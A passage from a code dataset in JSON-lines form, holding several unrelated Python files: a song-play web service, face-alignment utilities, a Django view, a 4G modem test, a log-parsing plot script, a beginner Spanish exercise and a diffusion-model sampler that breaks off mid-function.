'%Y-%m-%dT%H:%M:%S')\n except Exception as e:\n errors.append(str(e) + \". Not all parameters where given, or their format is incorrect.\")\n result = []\n cursor = db.cursor()\n try:\n cursor.execute('''SELECT * FROM plays''')\n plays = cursor.fetchall()\n except sqlite3.OperationalError as e:\n errors.append(str(e) + \". To load test data, run the application with option '--add-data\")\n if len(errors) == 0:\n for play in plays:\n if str(play[2]) == title and \\\n datetime.strptime(str(play[4]), '%Y-%m-%d %H:%M:%S') > from_time and \\\n datetime.strptime(str(play[5]), '%Y-%m-%d %H:%M:%S') < to_time:\n result.append({'channel': play[1],\n 'start': play[4],\n 'end': play[5]})\n return json.dumps({'result': result, 'code': 0})\n else:\n return json.dumps({'result': result, 'code': len(errors), 'errors': list(errors)})\n\n\nclass GetTop:\n # This method returns a ranking with the most played songs since a\n # specified time, in descending order. It also returns the previous\n # rank of the song.\n def GET(self):\n errors = []\n try:\n curr_channels = json.loads(web.input().channels)\n from_time = datetime.strptime(web.input().start, '%Y-%m-%dT%H:%M:%S')\n limit = int(web.input().limit)\n except Exception as e:\n errors.append(str(e) + \". Not all parameters where given, or their format is incorrect.\")\n result = []\n cursor = db.cursor()\n try:\n cursor.execute('''SELECT * FROM plays''')\n plays = cursor.fetchall()\n except sqlite3.OperationalError as e:\n errors.append(str(e) + \". To load test data, run the application with option '--add-data\")\n if len(errors) == 0:\n songs_to_return = {}\n for play in filter(lambda x: x[1] in curr_channels, plays):\n if play[2] not in songs_to_return.keys():\n songs_to_return[play[2]] = {str('performer'): play[3],\n str('title'): play[2],\n str('rank'): 0,\n str('previous_rank'): None,\n str('plays'): 0,\n str('previous_plays'): 0}\n if datetime.strptime(str(play[4]), '%Y-%m-%d %H:%M:%S') < from_time:\n songs_to_return[play[2]]['previous_plays'] += 1\n else:\n songs_to_return[play[2]]['plays'] += 1\n filtered_songs = [(k, v['plays'], v['previous_plays']) for k, v in songs_to_return.iteritems()]\n for ind, song in enumerate(sorted(filtered_songs,\n key=lambda tup: tup[1],\n reverse=True)):\n songs_to_return[song[0]]['rank'] = ind\n for ind, song in enumerate(sorted(filtered_songs,\n key=lambda tup: tup[2],\n reverse=True)):\n songs_to_return[song[0]]['previous_rank'] = ind\n for ind, song in enumerate(songs_to_return.values()):\n result.append(song)\n result = sorted(result, key=lambda k: k['plays'], reverse=True)\n return json.dumps({'result': result[0:limit], 'code': 0})\n else:\n return json.dumps({'result': result, 'code': len(errors), 'errors': list(errors)})\n\n\nif __name__ == \"__main__\":\n # Arguments are taken from command line\n parser = argparse.ArgumentParser(description='Web Crawler')\n parser.add_argument('-H', action=\"store\", dest=\"hostname\",\n default=\"localhost\", type=str)\n parser.add_argument('-P', action=\"store\", dest=\"port\",\n default=8080, type=int)\n args = parser.parse_args()\n\n hostname = args.hostname\n port = args.port\n\n # An instance of the server is created\n app = MyApplication(urls, globals())\n # and run\n app.run(hostname, port)\n","repo_name":"guillemalomar/SongsPlatform","sub_path":"src/webservice.py","file_name":"webservice.py","file_ext":"py","file_size_in_byte":10295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"69907813978","text":"import cv2\nimport numpy as np\nfrom skimage import transform as trans\n\n\ndef bb_intersection_over_union(boxA, boxB):\n # determine the (x, y)-coordinates of the intersection rectangle\n xA = max(boxA[0], boxB[0])\n yA = max(boxA[1], boxB[1])\n xB = min(boxA[2], boxB[2])\n yB = min(boxA[3], boxB[3])\n\n # compute the area of intersection rectangle\n xSide = (xB - xA + 1)\n ySide = (yB - yA + 1)\n\n if xSide <= 0 or ySide <= 0:\n return 0\n\n interArea = xSide * ySide\n\n # compute the area of both the prediction and ground-truth\n # rectangles\n boxAArea = (boxA[2] - boxA[0] + 1) * (boxA[3] - boxA[1] + 1)\n boxBArea = (boxB[2] - boxB[0] + 1) * (boxB[3] - boxB[1] + 1)\n\n # compute the intersection over union by taking the intersection\n # area and dividing it by the sum of prediction + ground-truth\n # areas - the intersection area\n\n if boxAArea + boxBArea - interArea == 0:\n return 0\n\n iou = interArea / float(boxAArea + boxBArea - interArea)\n\n # return the intersection over union value\n return iou\n\n\ndef get_bbox_i_by_IoU(bboxes, orig_bbox, threshold=0.4):\n # Select the bounding box with biggest intersection over union\n bbox_i, max_IoU = -1, threshold\n for i, cur_bbox in enumerate(bboxes):\n cur_IoU = bb_intersection_over_union(cur_bbox, orig_bbox)\n if cur_IoU >= max_IoU:\n bbox_i, max_IoU = i, cur_IoU\n return bbox_i\n\n\ndef frontalize_face(img, landmarks):\n target_res = (128, 128)\n\n # Convert landmarks of shape (1, 10) to array of coordinates of 5 facial points (shape (5, 2))\n dst = landmarks.astype(np.float32)\n facial5points = np.array([[dst[j], dst[j + 5]] for j in range(5)])\n\n src = np.array([\n [30.2946, 51.6963],\n [65.5318, 51.5014],\n [48.0252, 71.7366],\n [33.5493, 92.3655],\n [62.7299, 92.2041]], dtype=np.float32)\n\n src[:, 0] *= (target_res[0] / 96)\n src[:, 1] *= (target_res[1] / 112)\n\n tform = trans.SimilarityTransform()\n tform.estimate(facial5points, src)\n M = tform.params[0:2, :]\n\n # Applying the transformation matrix M to the original image\n img_warped = cv2.warpAffine(img, M, target_res, borderValue=0.0)\n\n return img_warped\n","repo_name":"benesjan/master-thesis-code","sub_path":"data_processing/mtcnn_utils.py","file_name":"mtcnn_utils.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"31802158250","text":"from django.shortcuts import render\nfrom django.http import HttpResponse,Http404,JsonResponse\nfrom .models import Post\n\n# Create your views here.\ndef home_view(request,*args,**kwargs):\n return render(request,\"pages/home.html\",context={},status=200)\n\n\ndef posts_detail_view(request,posts_id,*args,**kwargs):\n data={\n \"id\":posts_id,\n \n }\n status=200\n\n try:\n obj=Post.objects.get(id=posts_id)\n data['content']=obj.content\n except:\n data['message']=\"Not found\"\n status=404\n\n \n\n \n return JsonResponse(data,status=status)","repo_name":"ryuk156/Django--socialmedia","sub_path":"socialmedia/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"19635000354","text":"# -*- codinng: utf-8 -*-\n\n\nimport sys\nimport threading\nimport datetime\nimport Com4GModularClass\nimport time\n\ndef send4gvoid():\n data = b'1234567890'\n rt4g = Com4GModularClass.Com4GModularClass(Port='/dev/ttyAMA4')\n state = rt4g.Get4GmodeStartFlg()\n state = rt4g.Get4GmodeStartFlg()\n if 'OK' in state:\n print(rt4g.GetStatus())\n # print(rt.StartTcpUseSockA())\n state = rt4g.Senddatasfornet(data)\n print(state)\n time.sleep(2)\n print(rt4g.SetEnableSockA(mode=1, status='OFF'))\n time.sleep(5)\n print(rt4g.StartTcpUseSockA())\n state = rt4g.Senddatasfornet(data)\n print(state)\n print('end')\n time.sleep(5)\n print(rt4g.SetEnableSockA(mode=1, status='OFF'))\n\n while True:\n time.sleep(1)\n\n\ndef RunMain():\n threading_send=threading.Thread(target=send4gvoid,name='send4gvoid')\n threading_send.setDaemon(False)\n threading_send.start()\n\nif __name__ == '__main__':\n RunMain()","repo_name":"sql7777/RFID4G-1","sub_path":"20180419整理版本/20180419xiao4G/T4G.py","file_name":"T4G.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"74086045977","text":"import os\nimport sys\nimport collections\nimport glob\nimport json\nimport statistics\n\ndef cmptmax(files, key):\n maxkey = 0\n for file in files:\n with open(file, 'r') as f:\n keydict = json.load(f)\n\n for dt in keydict['stats']:\n k = keydict['stats'][dt][key]\n if k > maxkey:\n maxkey = k\n return maxkey\n\ndef extract_exps(logs, model, appr):\n stats_dict = collections.defaultdict(lambda :\n {\"preamble\": {\"program\": None, \"prog_args\": None, \"prog_alias\": None, \"benchmark\": None},\n \"stats\": collections.defaultdict(lambda: {'status': True })})\n\n\n for log in logs:\n dtname = log.rsplit('/')[-1].split('_', maxsplit=2)[-1].split('_test1')[0]\n for e in ['program', 'prog_args', 'prog_alias']:\n stats_dict[dtname]['preamble'][e] = \"{0}$_{1}$\".format(appr, '{' + model + '}')\n with open(log, 'r') as f:\n lines = f.readlines()\n lines = list(filter(lambda l: len(l.strip()) > 0, lines))\n lines = list(map(lambda l: l.strip(), lines))\n\n inst_mark = 'explaining:'\n if appr == 'lime':\n expl_mark = 'Features in explanation:'\n elif appr == 'shap':\n expl_mark = 'Features in explanation:'\n elif appr == 'anchor':\n expl_mark = 'Anchor:'\n else:\n #print('approach wrong')\n exit(1)\n\n insts = []\n\n for i, line in enumerate(lines):\n if inst_mark in line:\n insts.append(i)\n\n insts.append(len(lines))\n\n for i, start in enumerate(insts[:-1]):\n end = insts[i + 1]\n inst = lines[insts[i]].split(inst_mark)[-1].strip()\n inst_list = inst.split(' AND ')\n inst_list[0] = inst_list[0].split(maxsplit=1)[-1].strip()\n inst_list[-1] = inst_list[-1].rsplit(' THEN ')[0].strip()\n inst_set = set(inst_list)\n dt_inst = f'{dtname}_{inst}'\n pred = inst.rsplit('THEN')[-1].split('=', maxsplit=1)[-1]. strip()\n\n for ii in range(start + 1, end):\n if expl_mark in lines[ii]:\n if appr == 'anchor':\n expl = lines[ii].split(expl_mark)[-1].strip()\n if len(expl) > 0:\n expl_ = expl.split(' AND ')\n expl = []\n for x in expl_:\n for fv in inst_set:\n if x in fv:\n expl.append(fv.split(' = ', maxsplit=1)[0])\n break\n else:\n print('wrong expl')\n exit(1)\n else:\n expl = []\n else:\n classes = lines[ii-1].split(':', maxsplit=1)[-1].split(', ')\n classes = list(map(lambda l: l.strip().strip('[').strip(']').strip().strip(\"'\"), classes))\n expl = lines[ii].split(expl_mark)[-1].strip().strip('[').strip(']').split(\"), ('\")\n expl = list(map(lambda l: l.split(\"', \"), expl))\n pos_feats = []\n neg_feats = []\n for e in expl:\n f = e[0].replace(\"('\", \"\").strip()\n imprt = e[1].strip(')')\n imprt = float(imprt)\n if imprt > 0:\n pos_feats.append(f)\n elif imprt < 0:\n neg_feats.append(f)\n\n if len(classes) == 2 and classes.index(pred) == 0:\n expl = neg_feats\n else:\n expl = pos_feats\n\n if 'time: ' in lines[ii]:\n rtime = float(lines[ii].split('time:', maxsplit=1)[-1])\n break\n\n stats_dict[dtname]['stats'][inst]['expl'] = expl\n stats_dict[dtname]['stats'][inst]['minsize'] = len(expl)\n stats_dict[dtname]['stats'][inst]['exprtime'] = rtime * 1000\n\n for dtname in stats_dict:\n saved_dir = f'../stats/hexp_expls/{appr}/{model}'\n\n if not os.path.isdir(saved_dir):\n os.makedirs(saved_dir)\n\n jsonfn = f'{saved_dir}/{dtname}.json'\n with open(jsonfn, 'w') as f:\n json.dump(stats_dict[dtname], f, indent=4)\n\ndef cmb2isnt(files, appr, model):\n\n stats_dict = {\"preamble\": {\"program\": None, \"prog_args\": None, \"prog_alias\": None, \"benchmark\": None},\n \"stats\": collections.defaultdict(lambda: {'status': True })}\n\n for e in ['program', 'prog_args', 'prog_alias']:\n stats_dict['preamble'][e] = \"{0}$_{1}$\".format(appr, '{' + model + '}')\n\n for file in files:\n with open(file, 'r') as f:\n info = json.load(f)\n dtname = file.rsplit('/')[-1].rsplit('.json')[0]\n\n for inst in info['stats']:\n dtname_inst = '{0}_{1}'.format(dtname, inst)\n exprtime = info['stats'][inst]['exprtime']\n stats_dict['stats'][dtname_inst]['exprtime'] = exprtime\n\n saved_dir = '../stats/rtime/hexp'\n\n if not os.path.isdir(saved_dir):\n os.makedirs(saved_dir)\n\n saved_file = '{0}/{1}_{2}.json'.format(saved_dir, appr, model)\n\n with open(saved_file, 'w') as f:\n json.dump(stats_dict, f, indent=4)\n\n return saved_file\n\ndef rtimecactus(files, key, model, x_label):\n\n maxkey = 0\n minkey = 0\n\n for file in files:\n with open(file, 'r') as f:\n info = json.load(f)\n\n exprtimes = [info['stats'][dt][key] for dt in info['stats']]\n\n cur_maxk = max(exprtimes)\n cur_mink = min(exprtimes)\n\n if cur_maxk > maxkey:\n maxkey = cur_maxk\n if cur_mink < minkey:\n minkey = cur_mink\n\n saved_dir = '../plots/hexp/rtime'\n\n if not os.path.isdir(saved_dir):\n os.makedirs(saved_dir)\n\n if 'instance' in x_label .lower():\n pdf_name = '{0}/cactus_{1}_inst_rtime.pdf'.format(saved_dir, model)\n cmd = 'python ./gnrt_plots/mkplot/mkplot.py --shape squared --font-sz 16 -w 1 --ms 5 --sort ' \\\n '-l --legend prog_alias --xlabel {0} --ylabel \"Runtime(ms)\" -t {1} ' \\\n '--lloc \"upper left\" --ymin {2} -b pdf ' \\\n '--save-to {3} -k {4} {5}'.format(x_label,\n maxkey,\n minkey,\n pdf_name,\n key,\n ' '.join(files))\n else:\n pdf_name = '{0}/cactus_{1}_dt_rtime.pdf'.format(saved_dir, model)\n cmd = 'python ./gnrt_plots/mkplot/mkplot.py --shape squared --font-sz 18 -w 1.5 --ms 9 --sort ' \\\n '-l --legend prog_alias --xlabel {0} --ylabel \"Runtime(ms)\" -t {1} ' \\\n '--lloc \"upper left\" --ymin {2} -b pdf ' \\\n '--save-to {3} -k {4} {5}'.format(x_label,\n maxkey,\n minkey,\n pdf_name,\n key,\n ' '.join(files))\n\n os.system(cmd)\n\ndef rtime_dataset(file, model, bg):\n\n with open(file, 'r') as f:\n info = json.load(f)\n\n stats_dict = {\"preamble\": {\"program\": None, \"prog_args\": None, \"prog_alias\": None, \"benchmark\": None},\n \"stats\": collections.defaultdict(lambda: {'status': True, 'exprtime': []})}\n\n for e in ['program', 'prog_args', 'prog_alias']:\n stats_dict['preamble'][e] = info['preamble'][e].replace('{' + m + '}', '{' + m + ',' + xtype_ + '}')\n\n for dt_inst in info['stats']:\n dt = dt_inst[:dt_inst.find('_IF')]\n inst = dt_inst[dt_inst.find('_IF') + 1 :]\n exprtime = info['stats'][dt_inst]['exprtime']\n stats_dict['stats'][dt]['exprtime'].append(exprtime)\n\n for dt in stats_dict['stats']:\n stats_dict['stats'][dt]['exprtime'] = statistics.mean(stats_dict['stats'][dt]['exprtime'])\n\n saved_dir = '../stats/rtime/hexp'\n if not os.path.isdir(saved_dir):\n os.makedirs(saved_dir)\n\n saved_file = '{0}/dt_formal_{1}_{2}_{3}.json'.format(saved_dir, model, 'axp' if 'abd' in file else 'cxp', bg)\n\n with open(saved_file, 'w') as f:\n json.dump(stats_dict, f, indent=4)\n\n return saved_file\n\ndef cmb2dataset(files, appr, model):\n\n stats_dict = {\"preamble\": {\"program\": None, \"prog_args\": None, \"prog_alias\": None, \"benchmark\": None},\n \"stats\": collections.defaultdict(lambda: {'status': True, })}\n\n for e in ['program', 'prog_args', 'prog_alias']:\n stats_dict['preamble'][e] = \"{0}$_{1}$\".format(appr, '{' + model + '}')\n\n for file in files:\n with open(file, 'r') as f:\n info = json.load(f)\n dtname = file.rsplit('/')[-1].rsplit('.json')[0]\n exprtimes = []\n for inst in info['stats']:\n exprtime = info['stats'][inst]['exprtime']\n exprtimes.append(exprtime)\n\n stats_dict['stats'][dtname]['exprtime'] = statistics.mean(exprtimes)\n\n saved_dir = '../stats/rtime/hexp'\n\n if not os.path.isdir(saved_dir):\n os.makedirs(saved_dir)\n\n saved_file = '{0}/dt_{1}_{2}.json'.format(saved_dir, appr, model)\n\n with open(saved_file, 'w') as f:\n json.dump(stats_dict, f, indent=4)\n\n return saved_file\n\nif __name__ == '__main__':\n\n apprmod2logs = collections.defaultdict(lambda : [])\n\n for root, dirs, files in os.walk('../logs/hexp'):\n for file in files:\n if file.endswith('.log'):\n dt = file.split('_', maxsplit=2)[-1].rsplit('_test1')[0]\n model, appr = file.split('_')[:2]\n apprmod2logs[(appr, model)].append(os.path.join(root, file))\n\n for appr, model in apprmod2logs:\n logs = apprmod2logs[tuple([appr, model])]\n extract_exps(logs, model, appr)\n\n\n \"\"\"\n \n Runtime\n \n \"\"\"\n models = ['dl', 'bt', 'bnn']\n #../stats/hexp_expls each file for one dataset\n #\n\n # runtime of an instance\n m2expls = {}\n for m in models:\n m2expls[m] = []\n for xtype in ['abd', 'con']:\n for conf in ['ori', 'size5']:\n file = '../stats/expls/{0}/{1}_{2}.json'.format(m, conf, xtype)\n with open(file, 'r') as f:\n info = json.load(f)\n xtype_ = 'axp' if xtype == 'abd' else 'cxp'\n for e in [\"program\", \"prog_args\", \"prog_alias\"]:\n info['preamble'][e] = info['preamble'][e].replace('{' + m + '}', '{' + m + ',' + xtype_ + '}')\n\n saved_dir = '../stats/rtime/hexp'\n if not os.path.isdir(saved_dir):\n os.makedirs(saved_dir)\n new_file = '{0}/formal_{1}_{2}_{3}.json'.format(saved_dir, m, xtype_, 'bg' if conf!= 'ori' else 'nobg')\n\n with open(new_file, 'w') as f:\n json.dump(info, f, indent=4)\n m2expls[m].append(new_file)\n\n apprmod2files = collections.defaultdict(lambda : [])\n for root, dirs, files in os.walk('../stats/hexp_expls'):\n for file in files:\n if file.endswith('.json'):\n appr, model = root.strip('/').split('/')[-2:]\n apprmod2files[tuple([appr, model])].append(os.path.join(root, file))\n\n m2inst_files = {m: m2expls[m][:] for m in models}\n\n for appr, model in apprmod2files:\n files = apprmod2files[tuple([appr, model])]\n m2inst_files[model].append(cmb2isnt(files, appr, model))\n\n key = 'exprtime'\n for model in m2inst_files:\n inst_files = m2inst_files[model]\n rtimecactus(inst_files, key, model, 'Instances')\n\n # runtime/instance of a dataset\n m2expls = {}\n for m in models:\n m2expls[m] = []\n for xtype in ['abd', 'con']:\n for conf in ['ori', 'size5']:\n file = '../stats/expls/{0}/{1}_{2}.json'.format(m, conf, xtype)\n m2expls[m].append(rtime_dataset(file, m, 'bg' if conf != 'ori' else 'nobg'))\n\n apprmod2files = collections.defaultdict(lambda: [])\n for root, dirs, files in os.walk('../stats/hexp_expls'):\n for file in files:\n if file.endswith('.json'):\n appr, model = root.strip('/').split('/')[-2:]\n apprmod2files[tuple([appr, model])].append(os.path.join(root, file))\n\n m2dt_files = {m: m2expls[m][:] for m in models}\n\n for appr, model in apprmod2files:\n files = apprmod2files[tuple([appr, model])]\n m2dt_files[model].append(cmb2dataset(files, appr, model))\n\n key = 'exprtime'\n for model in m2inst_files:\n inst_files = m2dt_files[model]\n rtimecactus(inst_files, key, model, 'Datasets')\n #inst_files =\n #minsize\n #exprtime\n\n exit()\n","repo_name":"jinqiang-yu/xcon","sub_path":"src/gnrt_plots/parse_hexplog.py","file_name":"parse_hexplog.py","file_ext":"py","file_size_in_byte":13215,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"1675059453","text":"# Integrantes\r\n# Nelson Oswaldo Alvarenga Cuadra\r\n# Oscar Rene Palacios Franco\r\n# Rodrigo Manuel Perla Amaya\r\n# Salvador Alas Hernandez\r\n\r\n\r\n# Si la temperatura ambiente está entre 10 y 20 grados Celsius que diga “Nivel azul”\r\n# De lo contrario diga “Nivel verde”, pero si la temperatura es menor a 30 grados\r\n# que diga “Nivel naranja” de lo contrario “Nivel rojo”\r\n\r\ntemperatura = float(input(\"Ingrese la temperatura actual \"))\r\n\r\nif temperatura > 10:\r\n if temperatura < 20:\r\n print(\"Nivel Azul\")\r\n else:\r\n print(\"Nivel verde\")\r\nelse:\r\n if temperatura < 30:\r\n print(\"Nivel Naranja\")\r\n else:\r\n print(\"Nivel rojo\")\r\n","repo_name":"Puchungu/fundamentosProgra","sub_path":"FUNDAMENTOS/ejercicio4.py","file_name":"ejercicio4.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"75054186137","text":"import torch\nimport torch.nn.functional as F\nimport math\nimport scipy\nfrom scipy.special import gamma\n\n\ndef cond_fn(x, t_discrete, y, classifier, classifier_scale=1.):\n assert y is not None\n with torch.enable_grad():\n x_in = x.detach().requires_grad_(True)\n logits = classifier(x_in, t_discrete)\n log_probs = F.log_softmax(logits, dim=-1)\n selected = log_probs[range(len(logits)), y.view(-1)]\n return torch.autograd.grad(selected.sum(), x_in)[0] * classifier_scale\n\n\ndef dpm_solver_sample(x, model_fn, steps, w_b, w_c, alpha, h, sde, levy,\n skip_type='logSNR', method='ddim_second', eps=1e-4, T=1., total_N=1000,\n schedule='linear', classifier=None, cond_class=False,\n num_classes=1000, classifier_scale=1., fixed_class=None,\n Predictor=True, Corrector=False, LM_steps=200):\n \n device = x.device\n if cond_class:\n if fixed_class is None:\n classes = torch.randint(low=0, high=num_classes, size=(x.shape[0],)).to(device)\n else:\n classes = torch.randint(low=fixed_class, high=fixed_class + 1, size=(x.shape[0],)).to(device)\n else:\n classes = None\n\n def model(x, t_discrete):\n if cond_class:\n noise_uncond = model_fn(x, t_discrete, classes)\n cond_grad = cond_fn(x, t_discrete, classes, classifier, classifier_scale=classifier_scale)\n sigma_t1, sigma_t2 = sde.marginal_std(get_continuous_time(t_discrete))[:,None,None,None]\n return noise_uncond - sigma_t * cond_grad\n else:\n return model_fn(x, t_discrete)\n\n def get_discrete_time(t):\n # Type-1\n return 1000. * torch.max(t - 1. / total_N, torch.zeros_like(t).to(t))\n # Type-2\n # max_N = (total_N - 1) / total_N * 1000.\n # return max_N * t\n\n def get_continuous_time(t):\n max_N = (total_N - 1) / total_N * 1000.\n return t / max_N\n\n def get_time_steps_by_logSNR(T=sde.T, t0=eps, N=steps):\n logSNR_steps = torch.linspace(sde.marginal_lambda(torch.tensor(T).to(device)), sde.marginal_lambda(torch.tensor(t0).to(device)), N + 1).to(device)\n return get_time_by_logSNR(logSNR_steps)\n\n def get_time_steps_by_logSNR_quadratic(T=sde.T, t0=eps, N=steps):\n lambda_T = sde.marginal_lambda(torch.tensor(T).to(device))\n lambda_0 = sde.marginal_lambda(torch.tensor(t0).to(device))\n logSNR_steps = torch.linspace(torch.zeros_like(lambda_T).to(device), torch.sqrt(lambda_0 - lambda_T), N + 1).to(device)\n return get_time_by_logSNR(torch.square(logSNR_steps) + lambda_T)\n\n def get_time_steps_by_quadratic(T=sde.T, t0=eps, N=steps):\n t = torch.linspace(t0, T, 10000000).to(device)\n quadratic_t = torch.sqrt(t)\n quadratic_steps = torch.linspace(quadratic_t[0], quadratic_t[-1], N + 1).to(device)\n return torch.flip(torch.cat([t[torch.searchsorted(quadratic_t, quadratic_steps)[:-1]], T * torch.ones((1,)).to(device)], dim=0), dims=[0])\n\n def get_time_steps_for_fast_sampling(T=sde.T, t0=eps, N=steps):\n K = N // 3 + 1\n if N % 3 == 0:\n first_steps = K - 2\n else:\n first_steps = K - 1\n return first_steps, get_time_steps_by_logSNR(N=K)\n\n def get_time_by_logSNR(lamb):\n return sde.inverse_lambda(lamb)\n \n # def gamma_func(x):\n # return torch.tensor(gamma(x))\n\n def gamma_func(x):\n return torch.tensor(gamma(x)).to(device)\n\n def ddim_update(x, s, t, return_noise=False, denoise=False):\n \"\"\"\n input: x_s, s, t\n output: x_t\n \"\"\"\n noise_s = model(x, get_discrete_time(s))\n log_alpha_s, log_alpha_t = sde.marginal_log_mean_coeff(s), sde.marginal_log_mean_coeff(t)\n lambda_s, lambda_t = sde.marginal_lambda(s), sde.marginal_lambda(t)\n sigma_s, sigma_t = sde.marginal_std(s), sde.marginal_std(t)\n if denoise:\n x_coeff = torch.exp(-log_alpha_s)\n noise_coeff = sigma_s * x_coeff\n else:\n h = lambda_t - lambda_s\n x_coeff = torch.exp(log_alpha_t - log_alpha_s)\n noise_coeff = sigma_t * (torch.expm1(h))\n x_t = x_coeff[:,None,None,None] * x - noise_coeff[:,None,None,None] * noise_s\n if return_noise:\n return x_t, noise_s\n else:\n return x_t\n\n def ddim_second_update(x, s, t, r1=0.5, noise_s=None, return_noise=False):\n lambda_s, lambda_t = sde.marginal_lambda(s), sde.marginal_lambda(t)\n h = lambda_t - lambda_s\n lambda_s1 = lambda_s + r1 * h\n s1 = get_time_by_logSNR(lambda_s1)\n log_alpha_s, log_alpha_s1, log_alpha_t = sde.marginal_log_mean_coeff(s), sde.marginal_log_mean_coeff(s1), sde.marginal_log_mean_coeff(t)\n sigma_s1, sigma_t = sde.marginal_std(s1), sde.marginal_std(t)\n \n if noise_s is None:\n noise_s = model(x, get_discrete_time(s))\n x_s1 = (\n torch.exp(log_alpha_s1 - log_alpha_s)[:,None,None,None] * x\n - (sigma_s1 * torch.expm1(r1 * h))[:,None,None,None] * noise_s\n )\n noise_s1 = model(x_s1, get_discrete_time(s1))\n x_t = (\n torch.exp(log_alpha_t - log_alpha_s)[:,None,None,None] * x\n - (sigma_t * torch.expm1(h))[:,None,None,None] * noise_s\n - (0.5 / r1) * (sigma_t * torch.expm1(h))[:,None,None,None] * (noise_s1 - noise_s)\n )\n if return_noise:\n return x_t, noise_s, noise_s1\n else:\n return x_t\n\n def ddim_third_update(x, s, t, r1=1./3., r2=2./3., noise_s=None, noise_s1=None, noise_s2=None):\n lambda_s, lambda_t = sde.marginal_lambda(s), sde.marginal_lambda(t)\n h = lambda_t - lambda_s\n lambda_s1 = lambda_s + r1 * h\n lambda_s2 = lambda_s + r2 * h\n s1 = get_time_by_logSNR(lambda_s1)\n s2 = get_time_by_logSNR(lambda_s2)\n log_alpha_s, log_alpha_s1, log_alpha_s2, log_alpha_t = sde.marginal_log_mean_coeff(s), sde.marginal_log_mean_coeff(s1), sde.marginal_log_mean_coeff(s2), sde.marginal_log_mean_coeff(t)\n sigma_s1, sigma_s2, sigma_t = sde.marginal_std(s1), sde.marginal_std(s2), sde.marginal_std(t)\n\n phi_11 = torch.expm1(r1 * h)\n phi_12 = torch.expm1(r2 * h)\n phi_1 = torch.expm1(h)\n phi_22 = torch.expm1(r2 * h) / (r2 * h) - 1.\n phi_2 = torch.expm1(h) / h - 1.\n\n if noise_s is None:\n noise_s = model(x, get_discrete_time(s))\n if noise_s1 is None:\n x_s1 = (\n torch.exp(log_alpha_s1 - log_alpha_s)[:,None,None,None] * x\n - (sigma_s1 * phi_11)[:,None,None,None] * noise_s\n )\n noise_s1 = model(x_s1, get_discrete_time(s1))\n if noise_s2 is None:\n x_s2 = (\n torch.exp(log_alpha_s2 - log_alpha_s)[:,None,None,None] * x\n - (sigma_s2 * phi_12)[:,None,None,None] * noise_s\n - r2 / r1 * (sigma_s2 * phi_22)[:,None,None,None] * (noise_s1 - noise_s)\n )\n noise_s2 = model(x_s2, get_discrete_time(s2))\n x_t = (\n torch.exp(log_alpha_t - log_alpha_s)[:,None,None,None] * x\n - (sigma_t * phi_1)[:,None,None,None] * noise_s\n - (1. / r2) * (sigma_t * phi_2)[:,None,None,None] * (noise_s2 - noise_s)\n )\n return x_t\n\n def dpm_solver_adaptive_12(x, h_init=0.05, atol=0.0078, rtol=0.05, theta=0.9):\n s = sde.T * torch.ones((x.shape[0],)).to(x)\n lambda_s = sde.marginal_lambda(s)\n lambda_eps = sde.marginal_lambda(eps * torch.ones_like(s).to(x))\n h = h_init * torch.ones_like(s).to(x)\n x_prev = x\n nfe = 0\n while torch.abs((s - eps)).mean() > 1e-5:\n t = get_time_by_logSNR(lambda_s + h)\n print(s.mean(), t.mean())\n x_first, noise_s = ddim_update(x, s, t, return_noise=True)\n x_second = ddim_second_update(x, s, t, noise_s=noise_s)\n delta = torch.max(torch.ones_like(x_first).to(x) * atol, rtol * torch.max(torch.abs(x_first), torch.abs(x_prev)))\n norm_fn = lambda v: torch.sqrt(torch.square(v.reshape((v.shape[0], -1))).mean(dim=-1, keepdim=True))\n E = norm_fn((x_first - x_second) / delta).max()\n if torch.all(E <= 1.):\n x = x_second\n s = t\n x_prev = x_first\n lambda_s = sde.marginal_lambda(s)\n h = torch.min(theta * h * torch.float_power(E, -0.5).float(), lambda_eps - lambda_s)[0]\n nfe += 2\n print('nfe', nfe)\n return x\n\n def dpm_solver_adaptive_23(x, h_init=0.05, atol=0.0078, rtol=0.05, theta=0.9):\n s = sde.T * torch.ones((x.shape[0],)).to(x)\n lambda_s = sde.marginal_lambda(s)\n lambda_eps = sde.marginal_lambda(eps * torch.ones_like(s).to(x))\n h = h_init * torch.ones_like(s).to(x)\n x_prev = x\n nfe = 0\n r1, r2 = 1. / 3., 2. / 3.\n while torch.abs((s - eps)).mean() > 1e-5:\n t = get_time_by_logSNR(lambda_s + h)\n print(s.mean(), t.mean())\n x_second, noise_s, noise_s1 = ddim_second_update(x, s, t, r1=r1, return_noise=True)\n x_third = ddim_third_update(x, s, t, r1=r1, r2=r2, noise_s=noise_s, noise_s1=noise_s1)\n delta = torch.max(torch.ones_like(x).to(x) * atol, rtol * torch.max(torch.abs(x_second), torch.abs(x_prev)))\n norm_fn = lambda v: torch.sqrt(torch.square(v.reshape((v.shape[0], -1))).mean(dim=-1, keepdim=True))\n E = norm_fn((x_third - x_second) / delta).max()\n if torch.all(E <= 1.):\n x = x_third\n s = t\n x_prev = x_second\n lambda_s = sde.marginal_lambda(s)\n h = torch.min(theta * h * torch.float_power(E, -1. / 3.).float(), lambda_eps - lambda_s)[0]\n nfe += 3\n print('nfe', nfe)\n return x\n\n def ddim_levy_update(x, s, t, return_noise=False, denoise=False):\n \"\"\"\n input: x_s, s, t\n output: x_t\n \"\"\"\n # scheduled_alpha_s = torch.tensor([2.0 if _s < 0.1 else 1.9 for _s in s]).to(device)\n # scheduled_alpha_t = torch.tensor([2.0 if _t < 0.1 else 1.9 for _t in t]).to(device)\n # alpha_s = scheduled_alpha_s.cpu().clone()\n alpha = 2.0\n noise_s = model(x, get_discrete_time(s))\n # log_alpha_s, log_alpha_t = sde.marginal_log_mean_coeff(s, scheduled_alpha_s), sde.marginal_log_mean_coeff(t, scheduled_alpha_t)\n # 